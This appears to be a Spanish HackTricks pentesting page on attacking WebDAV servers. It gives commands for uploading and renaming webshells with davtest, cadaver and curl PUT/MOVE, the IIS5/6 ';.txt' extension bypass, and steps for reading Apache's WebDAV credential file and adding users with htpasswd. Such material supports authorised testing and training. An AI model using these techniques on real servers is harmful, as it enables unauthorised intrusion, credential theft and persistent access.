83 lines
3.8 KiB
Markdown

# WebDav
{{#include ../../banners/hacktricks-training.md}}
Al tratar con un **servidor HTTP con WebDav** habilitado, es posible **manipular archivos** si tienes las **credenciales** adecuadas, generalmente verificadas a través de **HTTP Basic Authentication**. Obtener control sobre dicho servidor a menudo implica la **carga y ejecución de un webshell**.
El acceso al servidor WebDav generalmente requiere **credenciales válidas**, siendo [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) un método común para adquirirlas.
Para superar las restricciones en la carga de archivos, especialmente aquellas que impiden la ejecución de scripts del lado del servidor, podrías:
- **Cargar** archivos con **extensiones ejecutables** directamente si no están restringidos.
- **Renombrar** archivos no ejecutables cargados (como .txt) a una extensión ejecutable.
- **Copiar** archivos no ejecutables cargados, cambiando su extensión a una que sea ejecutable.
## DavTest
**Davtest** intenta **cargar varios archivos con diferentes extensiones** y **verificar** si la extensión es **ejecutada**:
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
```
![](<../../images/image (851).png>)
Esto no significa que **las extensiones .txt y .html se estén ejecutando**. Esto significa que puedes **acceder a estos archivos** a través de la web.
## Cadaver
Puedes usar esta herramienta para **conectarte al servidor WebDav** y realizar acciones (como **subir**, **mover** o **eliminar**) **manualmente**.
```
cadaver <IP>
```
## Solicitud PUT
```
curl -T 'shell.txt' 'http://$ip'
```
## Solicitud MOVE
```bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## Vulnerabilidad de WebDav en IIS5/6
Esta vulnerabilidad es muy interesante. El **WebDav** **no permite** **subir** o **renombrar** archivos con la extensión **.asp**. Pero puedes **eludir** esto **agregando** al final del nombre **";.txt"** y el archivo será **ejecutado** como si fuera un archivo .asp (también podrías **usar ".html" en lugar de ".txt"** pero **NO olvides el ";"**).
Luego puedes **subir** tu shell como un archivo ".**txt"** y **copiar/moverlo a un archivo ".asp;.txt"**. Al acceder a ese archivo a través del servidor web, será **ejecutado** (cadaver dirá que la acción de mover no funcionó, pero sí lo hizo).
![](<../../images/image (1092).png>)
## Credenciales post
Si el Webdav estaba usando un servidor Apache, deberías mirar los sitios configurados en Apache. Comúnmente:\
_**/etc/apache2/sites-enabled/000-default**_
Dentro podrías encontrar algo como:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
Como puedes ver, hay archivos con las **credenciales** válidas para el servidor **webdav**:
```
/etc/apache2/users.password
```
Dentro de este tipo de archivos encontrarás el **nombre de usuario** y un **hash** de la contraseña. Estas son las credenciales que el servidor webdav está utilizando para autenticar a los usuarios.
Puedes intentar **crackearlas**, o **agregar más** si por alguna razón deseas **acceder** al servidor **webdav**:
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
Para verificar si las nuevas credenciales están funcionando, puedes hacer:
```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```
## Referencias
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
{{#include ../../banners/hacktricks-training.md}}